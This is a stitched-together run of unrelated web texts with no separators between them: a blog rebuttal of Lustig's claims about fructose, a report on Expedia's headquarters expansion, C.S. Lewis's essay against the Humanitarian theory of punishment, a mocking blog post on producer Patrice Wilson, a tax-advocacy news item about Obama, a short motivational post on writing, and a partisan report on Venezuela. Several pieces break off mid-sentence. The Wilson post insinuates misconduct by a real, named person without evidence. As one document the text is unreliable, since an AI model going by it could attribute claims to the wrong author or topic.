Lustig’s delivery is clear, confident, charismatic, and engaging overall. I’m sure many would think that his style is annoyingly smug and preachy, but I find it entertaining. This is a good thing, since the video is about 90 minutes long. Amidst the folly that prompted this post, he offers a few good observations.
First off, he makes a valid point that the public health movement against dietary fat that started in the early 1980’s was a grandiose failure. The climb in obesity to epidemic proportions over the last 30 years is plenty of evidence for this. It was also accurate of him to cite the significant increase in overall caloric consumption over this same time period. Furthermore, he shows an interesting progression of Coca-Cola’s 6.5 oz bottle in 1915 to the 20 oz bottle of the modern day.
Lustig acknowledges the First Law of Thermodynamics as it applies to changes in bodyweight. He attacks the vague expression that “a calorie is a calorie” by pointing out that different nutrients impart different physiological effects and have different roles within the body. His concluding recommendations included kicking out liquid calories except milk, which is generally a good strategy for children. Okay, so far so good. But what does he say that’s so misleading? Let’s take a look.
Boooo, Doc
While Lustig correctly points out that the nation’s overall caloric consumption has increased, he proceeds to blame carbohydrates as being the primary constituent. The thing is, he uses data spanning from 1989-1995 on children aged 2-17. Survey data is far from the gold standard of evidence, but if you’re gonna cite it, you might as well go with something more recent that includes adults.
Here’s the latest from the USDA Economic Research Service (ERS), which tracked the percent of total daily calories of the range of food groups from 1970-2007. The actual spreadsheet of the following figures can be downloaded here, click on the “Percents” tab at the bottom (note that these figures are updated regularly by the ERS, so the version you download may be different from what’s reported here) [1]:
Meats, eggs, and nut kcals decreased 4%.
Dairy kcals decreased 3%.
Percentage of fruit kcals stayed the same.
Percentage of vegetable kcals stayed the same.
Flour and cereal product kcals increased 3%.
Added fat kcals are up 7%,
Added sugars kcals decreased 1%
Total energy intake in 1970 averaged 2172 kcal. By 2007 this hiked up to 2775 kcal, a 603 kcal increase.
Taking a hard look at the data above, it appears that the rise in obesity is due in large part to an increase in caloric intake in general, rather than an increase in added sugars in particular.
Lustig insufficiently addresses the ‘energy out’ side of the equation. According to the research, it’s possible that over the last couple of decades, we’ve become more sedentary. King and colleagues recently compared the physical activity data in the National Health & Nutrition Examination Survey (NHANES) from 1988-1994 with the NHANES data from 2001-2006, and found a 10% decrease [2]. From a personal observation standpoint, that figure seems conservative (internet surfing for hours after your desk job shift, anyone?). It’s safe to say that all 603 extra daily calories have been landing in the nation’s collective adipose depot.
It’s also safe to say that all this finger-pointing at carbohydrate is just as silly as the finger-pointing toward fat in the ’80’s. Lustig takes the scapegoating of carbohydrate up a notch by singling out fructose. Perhaps the most passionate point he makes throughout the lecture is that fructose is a poison. Well, that’s just what we need in this day and age – obsessive alarmism over a single macronutrient subtype rather than an aerial view of the bigger picture.
Fructose is evil, context be damned
So, is fructose really the poison it’s painted to be? The answer is not an absolute yes or no; the evilness of fructose depends completely on dosage and context. A recurrent error in Lustig’s lecture is his omission of specifying the dosage and context of his claims. A point he hammers throughout his talk is that unlike glucose, fructose does not elicit an insulin (& leptin) response, and thus does not blunt appetite. This is why fructose supposedly leads to overeating and obesity.
Hold on a second…Lustig is forgetting that most fructose in both the commercial and natural domain has an equal amount of glucose attached to it. You’d have to go out of your way to obtain fructose without the accompanying glucose. Sucrose is half fructose and half glucose. High-fructose corn syrup (HFCS) is nearly identical to sucrose in structure and function. Here’s the point I’m getting at: contrary to Lustig’s contentions, both of these compounds have substantial research showing not just their ability to elicit an insulin response, but also their suppressive effect on appetite [3-6].
But wait, there’s more. In studies directly comparing the effect of fructose and glucose preloads on subsequent food intake, one showed no difference [7], while the majority have shown the fructose preload resulting in lesser food intake than the glucose preload [8-10]. A recent review of the literature on fructose’s effect on satiety found no compelling case for the idea that fructose is less satiating than glucose, or that HFCS is less satiating than sucrose [11]. So much for Lustig’s repeated assertion that fructose and fructose-containing sugars increase subsequent food intake. I suppose it’s easier to sensationalize claims based on rodent data.
In the single human study I’m aware of that linked fructose to a greater next-day appetite in a subset of the subjects, 30% of total daily energy intake was in the form of free fructose [12]. This amounts to 135 grams, which is the equivalent of 6-7 nondiet soft drinks. Is it really that groundbreaking to think that polishing off a half-dozen soft drinks per day is not a good idea? Demonizing fructose without mentioning the dose-dependent nature of its effects is intellectually dishonest. Like anything else, fructose consumed in gross chronic excess can lead to problems, while moderate amounts are neutral, and in some cases beneficial [13-15].
I’m obviously not in favor of replacing anyone’s daily fluid intake with soft drinks, but I can already see a number of straw man arguments headed my way. This is because people have a tendency to think in either-or terms that strictly involve extremes. I’ll quote an elegant review by independent researcher John White that echoes my thoughts [16]:
Although examples of pure fructose causing metabolicupset at high concentrations abound, especially when fed asthe sole carbohydrate source, there is no evidence that thecommon fructose-glucose sweeteners do the same. Thus, studies using extreme carbohydrate diets may be useful for probing biochemical pathways, but they have no relevance to the human diet or to current consumption.
Atkins, Japan, & alcohol – oh my!
One of Lustig’s opening assertions is that The Atkins diet and the Japanese diet share one thing in common: the absence of fructose. This is flat-out false because it implies that the Japanese don’t eat fruit. On the contrary, bananas, grapefruits, Mandarin oranges, apples, grapes, watermelons, pears, persimmons, peaches, and strawberries are significant staples of the Japanese diet [17]. Lustig’s claim also implies that the Japanese do not consume desserts or sauces that contain added sucrose. This is false as well.
Another oversimplification Lustig makes is that fructose is “ethanol without the buzz,” and that fructose is toxic to the liver. This once again helps me illustrate my point that even in the case of alcoholic beverages, their risk or benefit to health is dose-dependent. Just like his extremist treatment of fructose, Lustig bases his case on the effect of chronic isolated ethanol consumption in large doses. It’s easy to examine ethanol out of its normal context within beverages such as wine, because then you can conveniently ignore the evidence indicating its potential health benefits when consumed in moderation [18].
Partial redemption
Towards the end of Lustig’s lecture, he mentions that fructose within fruit is okay because its effect is neutralized by the fiber content. To a degree, this is a valid claim. However, in building this stance, he uses sugarcane to illustrate just how fiber-dominant natural sources of fructose are, and this is the exception rather than the rule. He claimed that, “Wherever there’s fructose in nature, there’s way more fiber.” That statement is far from universally true. Drawing a few common examples from the major fruits consumed in Japan, a midsize banana contains roughly 27 total grams of carbohydrate, 7 grams of fructose and 3 grams of fiber. A midsize apple contains 25 total grams of carbohydrate, 12 grams of fructose and 4 grams of fiber. Two cups of strawberries contains 24 total grams of carbohydrate, 4 grams of fructose, and 6 grams of fiber.
I would add that fiber is only one of the numerous phytochemicals in fruit that impart health benefits. Thus, it’s not quite as simple as saying that fructose is evil, but once you take it with fiber, you’ve conquered the Dark Side.
Summing up
I have a great deal of respect for Lustig’s professional accomplishments, and I share his concern for the nation’s penchant for sitting around and overconsuming food and beverages of all sorts. However, I disagree (as does the bulk of the research) with his myopic, militant focus on fructose avoidance. He’s missing the forest while barking up a single tree.
So, what’s the upper safe limit of fructose per day (all sources considered)? Again, this depends on a number of variables, not the least of which are an individual’s physical activity level and lean body mass. Currently in the literature is a liberal camp reporting that fructose intakes up to 90 grams per day have a beneficial effect on HbA(1c), and no significant effects are seen for fasting triacylglycerol or body weight with intakes up to 100 grams per day in adults [15]. The conservative camp suggests that the safe range is much less than this; roughly 25-40 grams per day [19]. Figuring that both sides are biased, the middle figure between the two camps is roughly 50 grams for adults (I’m talking about the general population, athletes with high energy demands can safely consume more).
Although the tendency is to get hung up on the trivial minutia of an exact gram amount, it’s not possible to issue a universal number because individual circumstances vary widely (this is a concept that baffles anti-fructose absolutists). The big picture solution is in managing total caloric balance with a predominance of minimally refined foods and sufficient physical activity. Pointing the finger at fructose while dismissing dosage and context is like saying that exercise should be avoided because it makes you fat and injured by spiking your appetite and hurting your joints.
Note: for those with little tolerance for reading through over 400 comments, there’s a summary of the discussion here. .
References
Economic Research Service, USDA. Loss-Adjusted Food Availability Data. Updated Feb 27, 2009. [ERS/USDA] King DE, et al. Adherence to healthy lifestyle habits in US adults, 1988-2006. Am J Med. 2009 Ju; 122(6):528-34. [Medline] Melanson KJ, et al. High-fructose corn syrup, energy intake, and appetite regulation. Am J Clin Nutr. 2008 Dec;88(6):1738S-1744S. [Medline] Soenen S, Westerterp-Plantenga MS. No differences in satiety or energy intake after high-fructose corn syrup, sucrose, or milk preloads. Am J Clin Nutr. 2007 Dec;86(6):1586-94. [Medline] Monsivais P, Perrigue MM, Drewnowski A. Sugars and satiety: does the type of sweetener make a difference? Am J Clin Nutr. 2007 Jul;86(1):116-23. [Medline] Akhavan T, Anderson GH. Effects of glucose-to-fructose ratios in solutions on subjective satiety, food intake, and satiety hormones in young men. Am J Clin Nutr. 2007 Nov;86(5):1354-63. [Medline] Spitzer L, Rodin J. Effects of fructose and glucose preloads on subsequent food intake. Appetite. 1987 Apr;8(2):135-45. [Medline] Rodin J, Reed D, Jamner L. Metabolic effects of fructose and glucose: implications for food intake. Am J Clin Nutr. 1988 Apr;47(4):683–9. Rodin J. Comparative effects of fructose, aspartame, glucose and water preloads on calorie and macronutrient intake. Am J Clin Nutr 1990;51:428–35. [Medline] Rodin J. Effects of pure sugar versus mixed starch fructose loads on food intake. Appetite 1991;17:213–9.[Medline] Moran TH. Fructose and satiety. J Nutr. 2009 Jun;139(6):1253S-1256S. Epub 2009 Apr 29. [Medline] Teff KL, et al. Dietary fructose reduces circulating insulin and leptin, attenuates postprandial suppression of ghrelin, and increases triglycerides in women. J Clin Endocrinol Metab. 2004 Jun;89(6):2963-72. [Medline] Livesy G. Fructose ingestion: dose-dependent responses in health research. J Nutr. 2009 Jun;139(6):1246S-1252S. Epub 2009 Apr 22. [Medline] Dolan LC, et al. Evidence-based review on the effect of normal dietary consumption of fructose on development of hyperlipidemia and obesity in healthy, normal weight individuals. Crit Rev Food Sci Nutr. 2010 Jan;50(1):53-84. [Medline] Livesey G, Taylor R. Fructose consumption and consequences for glycation, plasma triacylglycerol, and body weight: meta-analyses and meta-regression models of intervention studies. Am J Clin Nutr. 2008 Nov;88(5):1419-37. [Medline] White JS. Straight Talk About High-Fructose Corn Syrup: What it is and What it Ain’t. Am J Clin Nutr. 2008 Dec;88(6):1716S-1721S. [Medline] Dyck JH, Ito K. Japan’s fruit and vegetable market. Global Trade Patterns in Fruits and Vegetables. [ERS/USDA] Saremi A, Arora R. The cardiovascular implications of alcohol and red wine. Am J Ther. 2008 May-Jun;15(3):265-77. [Medline] Sánchez-Lozada LG, et al. How safe is fructose for persons with or without diabetes? Am J Clin Nutr. 2008 Nov;88(5):1189-90. [Medline]
The company is considering options that show it could grow the campus to as much as 1.9 million square feet of office space by 2030 — enough room for about 12,000 workers by standard real estate industry estimates. Today, the company employs about 3,000 people in the region with plans to grow up to 4,500 by the time it moves into the new headquarters in 2018.
GeekWire first reported on Expedia’s anticipated headquarters expansion on Wednesday, after transportation planning documents outlined redevelopment plans considerably larger than those disclosed by the company when it first announced plans to move to Seattle from Bellevue.
Now, Expedia has shared its Major Phased Development plan with GeekWire, revealing more specific details about what those additional facilities may look like. A company spokeswoman says these plans were drafted because of routine requirements from the city to “evaluate its on-site growth needs through 2030.”
A large swath of the site, which formerly housed biotech giant Amgen, is vacant today. But one of Expedia’s mockups shows how it could build up to six additional buildings on the property. Another alternative shows five new buildings, and a third option represents no changes at all. With each option, the company plans to maintain its 65-foot heigh limit and current geographic footprint of the property. Plans also include examining “opportunities to improve public amenities along the waterfront.”
Here’s a look at the two main alternatives, along with Expedia’s description of the changes.
Alternative 1 (Figure 1)
This alternative includes retention of the site’s current six buildings (P1, U, A, B, C and D) including expansion of three structures (A, B and C). It also includes creation of six new buildings (L, P3, K, E, G and F) and a parking garage expansion (P2). With all existing, expanded and new buildings, this alternative totals approximately 1.9 million gross square feet of development and 3,300 parking spaces.
A break out of the total proposed square-footage includes:
Existing buildings: 670,834 chargeable s.f.
New buildings: 1,230,000 gross s.f.
Existing parking structure: 1,230 parking stalls
New parking structure: 2,070 parking stalls
Alternative 2 (shown in Figure 2)
This alternative is a less-dense approach and includes retention of five buildings (P1, U, A, B, C and D) including expansion of three structures (A, B and C). It also includes creation of five new buildings (L, P3, K, E, and F) and a parking garage expansion (P2). With all existing, expanded and new buildings, this alternative totals approximately 1.6 million gross square feet of development and 3,300 parking spaces.
A break out of the total proposed square-footage includes:
Existing buildings: 670,834 chargeable s.f.
New buildings: 930,000 gross s.f.
Existing parking structure: 1,230 parking stalls
New parking structure: 2,070 parking stalls
The company also outlined this scenario, showing no major changes to the site.
The first two options bring to light a much more ambitious vision for the new headquarters than previously expected. Much of the development would take place on the vacant plot of land adjacent to the former Amgen buildings, commonly known as Pier 89.
It was a bit of a surprise when the company first announced the Interbay neighborhood location, since that area generally lacks the kind of amenities tech giants tend to migrate toward. But with a campus like this, Expedia may be able to offer all the amenities its workers would need.
C.S. Lewis In England we have lately had a controversy about Capital Punishment. I do not know whether a murderer is more likely to repent and make good on the gallows a few weeks after his trial or in the prison infirmary thirty years later. I do not know whether the fear of death is an indispensable deterrent. I need not, for the purpose of this article, decide whether it is a morally permissible deterrent. Those are questions which I propose to leave untouched. My subject is not Capital Punishment in particular, but that theory of punishment in general which the controversy showed to be called the Humanitarian theory. Those who hold it think that it is mild and merciful. In this I believe that they are seriously mistaken. I believe that the “Humanity” which it claims is a dangerous illusion and disguises the possibility of cruelty and injustice without end. I urge a return to the traditional or Retributive theory not solely, not even primarily, in the interests of society, but in the interests of the criminal.
According to the Humanitarian theory, to punish a man because he deserves it, and as much as he deserves, is mere revenge, and, therefore, barbarous and immoral. It is maintained that the only legitimate motives for punishing are the desire to deter others by example or to mend the criminal. When this theory is combined, as frequently happens, with the belief that all crime is more or less pathological, the idea of mending tails off into that of healing or curing and punishment becomes therapeutic. Thus it appears at first sight that we have passed from the harsh and self-righteous notion of giving the wicked their deserts to the charitable and enlightened one of tending the psychologically sick. What could be more amiable? One little point which is taken for granted in this theory needs, however, to be made explicit. The things done to the criminal, even if they are called cures, will be just as compulsory as they were in the old days when we called them punishments. If a tendency to steal can be cured by psychotherapy, the thief will no doubt be forced to undergo the treatment. Otherwise, society cannot continue.
My contention is that this doctrine, merciful though it appears, really means that each one of us, from the moment he breaks the law, is deprived of the rights of a human being.
The reason is this. The Humanitarian theory removes from Punishment the concept of Desert. But the concept of Desert is the only connecting link between punishment and justice. It is only as deserved or undeserved that a sentence can be just or unjust. I do not here contend that the question ‘Is it deserved?’ is the only one we can reasonably ask about a punishment. We may very properly ask whether it is likely to deter others and to reform the criminal. But neither of these two last questions is a question about justice. There is no sense in talking about a ‘just deterrent’ or a ‘just cure’. We demand of a deterrent not whether it is just but whether it will deter. We demand of a cure not whether it is just but whether it succeeds. Thus when we cease to consider what the criminal deserves and consider only what will cure him or deter others, we have tacitly removed him from the sphere of justice altogether; instead of a person, a subject of rights, we now have a mere object, a patient, a ‘case’.
The distinction will become clearer if we ask who will be qualified to determine sentences when sentences are no longer held to derive their propriety from the criminal’s deservings. On the old view the problem of fixing the right sentence was a moral problem. Accordingly, the judge who did it was a person trained in jurisprudence; trained, that is, in a science which deals with rights and duties, and which, in origin at least, was consciously accepting guidance from the Law of Nature, and from Scripture. We must admit that in the actual penal code of most countries at most times these high originals were so much modified by local custom, class interests, and utilitarian concessions, as to be very imperfectly recognizable. But the code was never in principle, and not always in fact, beyond the control of the conscience of the society. And when (say, in eighteenth-century England) actual punishments conflicted too violently with the moral sense of the community, juries refused to convict and reform was finally brought about. This was possible because, so long as we are thinking in terms of Desert, the propriety of the penal code, being a moral question, is a question n which every man has the right to an opinion, not because he follows this or that profession, but because he is simply a man, a rational animal enjoying the Natural Light. But all this is changed when we drop the concept of Desert. The only two questions we may now ask about a punishment are whether it deters and whether it cures. But these are not questions on which anyone is entitled to have an opinion simply because he is a man. He is not entitled to an opinion even if, in addition to being a man, he should happen also to be a jurist, a Christian, and a moral theologian. For they are not question about principle but about matter of fact; and for such cuiquam in sua arte credendum. Only the expert ‘penologist’ (let barbarous things have barbarous names), in the light of previous experiment, can tell us what is likely to deter: only the psychotherapist can tell us what is likely to cure. It will be in vain for the rest of us, speaking simply as men, to say, ‘but this punishment is hideously unjust, hideously disproportionate to the criminal’s deserts’. The experts with perfect logic will reply, ‘but nobody was talking about deserts. No one was talking about punishment in your archaic vindictive sense of the word. Here are the statistics proving that this treatment deters. Here are the statistics proving that this other treatment cures. What is your trouble?
The Humanitarian theory, then, removes sentences from the hands of jurists whom the public conscience is entitled to criticize and places them in the hands of technical experts whose special sciences do not even employ such categories as rights or justice. It might be argued that since this transference results from an abandonment of the old idea of punishment, and, therefore, of all vindictive motives, it will be safe to leave our criminals in such hands. I will not pause to comment on the simple-minded view of fallen human nature which such a belief implies. Let us rather remember that the ‘cure’ of criminals is to be compulsory; and let us then watch how the theory actually works in the mind or the Humanitarian. The immediate starting point of this article was a letter I read in one of our Leftist weeklies. The author was pleading that a certain sin, now treated by our laws as a crime, should henceforward be treated as a disease. And he complained that under the present system the offender, after a term in gaol, was simply let out to return to his original environment where he would probably relapse. What he complained of was not the shutting up but the letting out. On his remedial view of punishment the offender should, of course, be detained until he was cured. And or course the official straighteners are the only people who can say when that is. The first result of the Humanitarian theory is, therefore, to substitute for a definite sentence (reflecting to some extent the community’s moral judgment on the degree of ill-desert involved) an indefinite sentence terminable only by the word of those experts—and they are not experts in moral theology nor even in the Law of Nature—who inflict it. Which of us, if he stood in the dock, would not prefer to be tried by the old system?
It may be said that by the continued use of the word punishment and the use of the verb ‘inflict’ I am misrepresenting Humanitarians. They are not punishing, not inflicting, only healing. But do not let us be deceived by a name. To be taken without consent from my home and friends; to lose my liberty; to undergo all those assaults on my personality which modern psychotherapy knows how to deliver; to be re-made after some pattern of ‘normality’ hatched in a Vienese laboratory to which I never professed allegiance; to know that this process will never end until either my captors hav succeeded or I grown wise enough to cheat them with apparent success—who cares whether this is called Punishment or not? That it includes most of the elements for which any punishment is feared—shame, exile, bondage, and years eaten by the locust—is obvious. Only enormous ill-desert could justify it; but ill-desert is the very conception which the Humanitarian theory has thrown overboard.
If we turn from the curative to the deterrent justification of punishment we shall find the new theory even more alarming. When you punish a man in terrorem, make of him an ‘example’ to others, you are admittedly using him as a means to an end; someone else’s end. This, in itself, would be a very wicked thing to do. On the classical theory of Punishment it was of course justified on the ground that the man deserved it. That was assumed to be established before any question of ‘making him an example arose’ arose. You then, as the saying is, killed two birds with one stone; in the process of giving him what he deserved you set an example to others. But take away desert and the whole morality of the punishment disappears. Why, in Heaven’s name, am I to be sacrificed to the good of society in this way?—unless, of course, I deserve it.
But that is not the worst. If the justification of exemplary punishment is not to be based on dessert but solely on its efficacy as a deterrent, it is not absolutely necessary that the man we punish should even have committed the crime. The deterrent effect demands that the public should draw the moral, ‘If we do such an act we shall suffer like that man.’ The punishment of a man actually guilty whom the public think innocent will not have the desired effect; the punishment of a man actually innocent will, provided the public think him guilty. But every modern State has powers which make it easy to fake a trial. When a victim is urgently needed for exemplary purposes and a guilty victim cannot be found, all the purposes of deterrence will be equally served by the punishment (call it ‘cure’ if you prefer0 of an innocent victim, provided that the public can be cheated into thinking him will be so wicked. The punishment of an innocent, that is , an undeserving, man is wicked only if we grant the traditional view that righteous punishment means deserved punishment. Once we have abandoned that criterion, all punishments have to be justified, if at all, on other grounds that have nothing to do with desert. Where the punishment of the innocent can be justified on those grounds (and it could in some cases be justified as a deterrent) it will be no less moral than any other punishment. Any distaste for it on the part of the Humanitarian will be merely a hang-over from the Retributive theory.
It is, indeed, important to notice that my argument so far supposes no evil intentions on the part of the Humanitarian and considers only what is involved in the logic of his position. My contention is that good men (not bad men) consistently acting upon that position would act as cruelly and unjustly as the greatest tyrants. They might in some respects act even worse. Of all tyrannies a tyranny sincerely exercised for the good of its victims may be the most oppressive. It may be better to live under robber barons than under omnipotent moral busybodies. The robber baron’s cruelty may sometimes sleep, his cupidity may at some point be satiated; but those who torment us for our own good will torment us without end for they do so with the approval of their own conscience. They may be more likely to go to Heaven yet at the same time likelier to make a Hell of earth. Their very kindness stings with intolerable insult. To be ‘cured’ against one’s will and cured of states which we may not regard as disease is to be put on a level with those who have not yet reached the age of reason or those who never will; to be classed with infants, imbeciles, and domestic animals. But to be punished, however severely, because we have deserved it, because we ‘ought to have known better’, is to be treated as a human person made in God’s image.
In reality, however, we must face the possibility of bad rulers armed with a Humanitarian theory of punishment. A great many popular blue prints for a Christian society are merely what the Elizabethans called ‘eggs in moonshine’ because they assume that the whole society is Christian or that the Christians are in control. This is not so in most contemporary States. Even if it were, our rulers would still be fallen men, and, therefore neither ver wise nor very good. As it is, they will usually be unbelievers. And since wisdom and virtue are not the only or the commonest qualifications for a place in the government, they will not often be even the best unbelievers.
The practical problem of Christian politics is not that of drawing up schemes for a Christian society, but that of living as innocently as we can with unbelieving fellow-subjects under unbelieving rulers who will never be perfectly wise and good and who will sometimes be very wicked and very foolish. And when they are wicked the Humanitarian theory of punishment will put in their hands a finer instrument of tyranny than wickedness ever had before. For if crime and disease are to be regarded as the same thing, it follows that any state of mind which our masters choose to call ‘disease’ can be treated as a crime; and compulsorily cured. It will be vain to plead that states of mind which displease government need not always involve moral turpitude and do not therefore always deserve forfeiture of liberty. For our masters will not be using the concepts of Desert and Punishment but those of disease and cure. We know that one school of psychology already regards religion as a neurosis. When this particular neurosis becomes inconvenient to government, what is to hinder government from proceeding to ‘cure’ it? Such ‘cure’ will, of course, be compulsory; but under the Humanitarian theory it will not be called by the shocking name of Persecution. No one will blame us for being Christians, no one will hate us, no one will revile us. The new Nero will approach us with the silky manners of a doctor, and though all will be in fact as compulsory as the tunica molesta or Smithfield or Tyburn, all will go on within the unemotional therapeutic sphere where words like ‘right’ and ‘wrong’ or ‘freedom’ and ‘slavery’ are never heard. And thus when the command is given, every prominent Christian in the land may vanish overnight into Institutions for the Treatment of the Ideologically Unsound, and it will rest with the expert gaolers to say when (if ever) they are to re-emerge. But it will not be persecution. Even if the treatment is painful, even if it is life-long, even if it is fatal, that will be only a regrettable accident; the intention was purely therapeutic. In ordinary medicine there were painful operations and fatal operations; so in this. But because they are ‘treatment’, not punishment, they can be criticized only by fellow-experts and on technical grounds, never by men as men and on grounds of justice.
This is why I think it essential to oppose the Humanitarian theory of punishment, root and branch, wherever we encounter it. It carries on its front a semblance of mercy which is wholly false. That is how it can deceive men of good will. The error began, with Shelley’s statement that the distinction between mercy and justice was invented in the courts of tyrants. It sounds noble, and was indeed the error of a noble mind. But the distinction is essential. The older view was that mercy ‘tempered’ justice, or (on the highest level of all) that mercy and justice had met and kissed. The essential act of mercy was to pardon; and pardon in its very essence involves the recognition of guilt and ill-desert in the recipient. If crime is only a disease which needs cure, not sin which deserves punishment, it cannot be pardoned. How can you pardon a man for having a gumboil or a club foot? But the Humanitarian theory wants simply to abolish Justice and substitute Mercy for it. This means that you start being ‘kind’ to people before you have considered their rights, and then force upon them supposed kindnesses which no on but you will recognize as kindnesses and which the recipient will feel as abominable cruelties. You have overshot the mark. Mercy, detached from Justice, grows unmerciful. That is the important paradox. As there are plants which will flourish only in mountain soil, so it appears that Mercy will flower only when it grows in the crannies of the rock of Justice; transplanted to the marshlands of mere Humanitarianism, it becomes a man-eating weed, all the more dangerous because it is still called by the same name as the mountain variety. But we ought long ago to have learned our lesson. We should be too old now to be deceived by those humane pretensions which have served to usher in every cruelty of the revolutionary period in which we live. These are the ‘precious balms’ which will ‘break our heads’.
There is a fine sentence in Bunyan: ‘It came burning hot into my mind, whatever he said, and however he flattered, when he got me home to his House, he would sell me for a Slave.’ There is a fine couplet, too, in John Ball:
It started, like most EU articles, with an idle chat. It ended, 12 hours later, with this: an exposé of ‘Pato’ Patrice Wilson, the grinning goon behind such pop gems as Friday and the infuriatingly infuriating Chinese Food.
It had been such an erudite week on Ed Uncovered as well. On Monday, Daniel wrote a guest blog about smartphone addiction. On Tuesday, Craig wrote about web design. Today, the ante has been upped and the tone lowered with a profile of Rebecca Black’s rapper aka the greatest threat white America’s tweens have ever faced.
Chinese Food
When I began researching Patrice Wilson, I knew this much:
Nigerian singer/songwriter
Founder of ARK Music Factory and Pato Music World (PMV)
Co-writer, co-producer and rapper on Rebecca Black’s Friday
Performs similar duties on Alison Gold’s Chinese Food, released two days ago
As I began to dig deeper (y’know, past the first page of Google) things took a more sinister turn however. Within minutes, Pato went from being a phenomenally successful viral music producer to…well, we’ll get to that in a moment.
First though, a word from Reticent Bob, whose Facebook message had gotten the ball rolling:
“That Chinese Food song is amazeballs,” wrote Bob (who may or may not be the same ‘Bob’ who featured in The Best Piss Ever and Why Do Asians Take So Many Photos?). Bob had just finished reading yesterday’s web design blog, which noted: “Stuffing pages full of ads…is more annoying than Chinese Food.”
Suffice to say the article wasn’t speaking about dim sum. No, it was referencing the latest offering from the one-trick Pato. If you’ve yet to experience Chinese Food, we may as well get it out of the way now because, like it or not, you’re going to see it sooner or later.
As a fun game to play, watch Chinese Food and count the number of things that are wrong with the video. Not musically wrong – just wrong. Lest there be any doubt, its cardinal sins are listed at the end of this article.
Assuming you’ve just watched Chinese Food in its entirety, you will now be experiencing what can only be described as a WTF moment. Where does one even begin?
I began with a light Google which revealed that Ed Uncovered isn’t the only site questioning Pato’s motives. Gawker described his breakthrough video with Rebecca Black as an “obnoxious and catchy adolescent shitshow”, while Cracked.com (which is rarely funny but often right) seethed “Patrice Wilson sacrificed a young girl to the Internet in order to perpetuate his own renown.”
Only Cracked wasn’t speaking about Rebecca Black – it was speaking about 12-year-old Nicole Westbrook, the star of Pato’s second major hit. As the article explained, “Patrice Wilson…followed a formula that he stumbled upon with Rebecca Black to ensure that everyone despised his next music video, because that was the only way he could guarantee that it would be watched by millions and millions of people.”
If you’ve yet to see the track – It’s Thanksgiving – now’s your chance, but if you can make it past the first chorus without spilling vomit on your sweater, there is something deeply wrong with you. Perhaps not Patrice Wilson wrong, but certainly a little odd.
As I was viewing the video for the first and only time, my girlfriend walked in.
“If you’re turned on by watching that, you’re a paedophile,” she scolded.
“Bob sent me the link,” I protested.
“Well he’s a paedophile too.”
Behind the music
While Gawker and Cracked focused on deconstructing the songs themselves – an admittedly ripe hunting ground – I decided to delve deeper into Pato’s life. What I found may not shock you, but it’ll certainly disturb you. If you’re a parent, you may even find yourself letting out an “Eww!” as you ponder how to protect your kids from this big bad world.
Let’s be clear: Patrice ‘I rhyme broccoli with Monopoly’ Wilson is a wrong ‘un.
He may look like a ball of fun in his panda suit – just as he looks harmless enough rapping in Rebecca Black’s car – but peer a little closer and you’ll find a litany of misdeeds.
How old is Pato anyway? The internet doesn’t know and Pato sure as hell ain’t saying. Age doesn’t seem to trouble Patrice Wilson.
According to a new report, President Obama has sought 442 tax increases since taking office, though most have died because of congressional opposition.
Having included 93 new taxes in his fiscal 2015 budget, the anti-tax Americans for Tax Reform reviewed his proposals since his 2009 Inauguration to determine just how tax-friendly the president has been. Their conclusion: He's very friendly.
"History tells us what Obama was able to do. This list reminds us of what Obama wanted to do," said Grover Norquist, president of Americans for Tax Reform.
The group's list of 442 tax proposals notes that he did sign 20 tax increases into Obamacare and a tobacco tax approved soon after he entered office. For the Obamacare taxes, the net tax hike over the next decade is at least $1 trillion, said the group.
The ATR calculation of the president’s tax proposals by year:
— 79 tax increases for Fiscal Year 2010.
— 52 tax increases for FY 2011.
— 47 tax increases for FY 2012.
— 34 tax increases for FY 2013.
— 137 tax increases for FY 2014.
— 93 tax increases for FY 2015.
The review was timed for April 15 as ATR’s annual wake up call on taxes facing Americans. But it also made note of how the president has not succeeded in instituting his wishes due to Republican opposition in Congress, partly because of ATR’s successful effort to get candidates to pledge to never raise taxes.
"Presidents are judged by history based on what they did in power. But presidents can only enact laws when the Congress agrees," said Norquist in a statement accompanying ATR’s tax list. "Thus a record forged by such compromise tells you what a president — limited by Congress — did, rather than what he wanted to do."
Thomas Despin Blocked Unblock Follow Following Aug 9, 2016
Do it for you.
Even if it’s not gonna be a hit
Even if it’s not really deep
Even if you’re not self confident
Even if you think you’ll do it later (trust me, you won’t)
Even if someone wrote about it this morning
Even if it’s friday and no one will see your text
Even if it’s just some random thoughts
Even if it’s too intimate
Even if you just have a few minutes ahead
Even if you don’t even finish it
Write it anyway.
You don’t need to write a masterpiece.
Write your simplest thoughts.
Start with a line.
Take some ideas out of your head.
Put them into words.
See what happens next.
Do it now.
Because, why not?
You know, my father is almost 60 now.
He told me one day he always dreamt to write a book, since his 20's.
He never did it.
Because he didn’t find the perfect title for it.
I think he gave it up today.
Are you also gonna spend 40 years thinking about writing something before you actually start?
Do it.
If you think about it
Even if it’s just for you
Warning of a growing danger by the right-wing opposition’s attempts to overthrow Venezuelan President Nicolás Maduro, he and other leaders of the United Socialist Party of Venezuela (PSUV) have issued a call for a giant rally of the people on April 19 to counter a planned right-wing rally.
Alerting to the danger, in a rally of thousands of militia and soldiers to salute the seventh anniversary of the Bolivarian Militias of Venezuela, Maduro said, “If you hear news that the traitors are trying to carry out a coup d’etat, come out and take the power of the Republic, the same as the 13th.” The 13th is in reference to April 13, 2002, when tens of thousands of people restored Hugo Chávez to his presidency after a failed two-day coup.
Maduro announced a plan to increase the militias to 500,000, under the command of the Bolivarian National Armed Forces (FANB), “and equip each of them, including a rifle.” Defense Minister Vladimir Padrino López declared, “The FANB ratifies its unconditional loyalty to the constitutional presidency of the Bolivarian Republic of Venezuela, our commander-in-chief Nicolás Maduro.”
Today, many of the same capitalist opposition leaders involved in the 2002 coup plots are once again activating their reactionary base of support to take to the streets demanding regime change.
Violent confrontations by extremist elements of the right-wing opposition against pro-government supporters and state security forces have already resulted in a number of deaths. The protests bear a resemblance to the 2014 attacks that left 43 dead and hundreds injured in the aftermath of the December 2013 elections.
Their intent was to disregard President Maduro’s legitimacy and the constitutionality of his administration, and try to pave the way towards his removal.
Several years of intense economic war by the largest Venezuelan corporations that dominate the import market of food, essential household goods and appliances have led to extremely high inflation and shortages. In turn, the discontent in the population has provided fuel for the opposition and led to a right-wing majority in the National Assembly elections in 2015.
The most recent opposition protests began after a March 29 decision by the pro-Bolivarian Supreme Court of Justice (TSJ) to take over the legislative functions of the National Assembly, which had been declared in contempt of court since July of 2016. The TSJ ruled that the National Assembly failed on multiple occasions to remove three opposition legislators from the state of Amazonas who are accused of buying votes during the 2015 elections.
